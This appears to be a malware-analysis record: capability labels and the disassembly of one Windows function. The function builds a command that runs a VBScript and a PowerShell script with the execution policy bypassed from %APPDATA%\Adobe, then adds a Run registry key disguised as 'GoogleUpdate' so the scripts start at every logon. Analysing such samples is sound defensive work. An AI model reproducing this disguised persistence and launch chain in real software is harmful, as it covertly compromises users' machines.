Function at 0x3859e23cf
Capabilities:
Create process on windows
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x5a8
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x440]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x440], 0x68
lea rax, [rbp + 0x420]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x4af]
mov qword [rbp + 0x518], rax
nop
nop
lea rdx, [rbp + 0x4af]
lea rax, [rbp - 0x10]
mov r8, rdx
lea rdx, str.desktop_et51ajo
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4af]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x4f0]
lea rdx, [rbp - 0x10]
mov r8, rdx
lea rdx, str.wscript.exe___APPDATA_Adobe_run_all.vbs__wscript.exe___APPDATA_Adobe_run_all.vbs__powershell.exe__NoProfile__ExecutionPolicy_Bypass__File___APPDATA_Adobemerge.ps1_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x4d0]
lea rdx, [rbp + 0x4f0]
lea r8, str.__wscript.exe___APPDATA_Adobe_run_all.vbs__reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun___v_GoogleUpdate__t_REG_SZ__d__wscript.exe__APPDATA_Adobe_run_all.vbs_powershell.exe__NoProfile__ExecutionPolicy_Bypass__File__APPDATA_Adobemerge.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4b0]
lea rcx, [rbp - 0x10]
lea rdx, [rbp + 0x4d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x4b0]
lea r8, str.___f_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
lea rax, [rbp + 0x10]
mov r8d, 0x410
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
call rax
test eax, eax
sete al
test al, al
je 0x3859e2584
lea rax, str.Failed_to_expand_environment_strings__
mov rdx, rax
mov rax, qword [0x385ab12e0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
lea rax, [0x385aab79f]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x3859e2685
lea rax, [rbp + 0x10]
lea rdx, [rbp + 0x420]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x440]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
sete al
test al, al
je 0x3859e2642
lea rax, str.CreateProcess_failed__
mov rdx, rax
mov rax, qword [0x385ab12e0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
lea rax, [0x385aab79f]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x3859e2685
mov rax, qword [rbp + 0x420]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x420]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x428]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 1
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x3859e269d
mov ebx, 1
jmp 0x3859e26a2
mov ebx, 0
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jmp 0x3859e273c
add rsp, 0x5a8
pop rbx
pop rbp
ret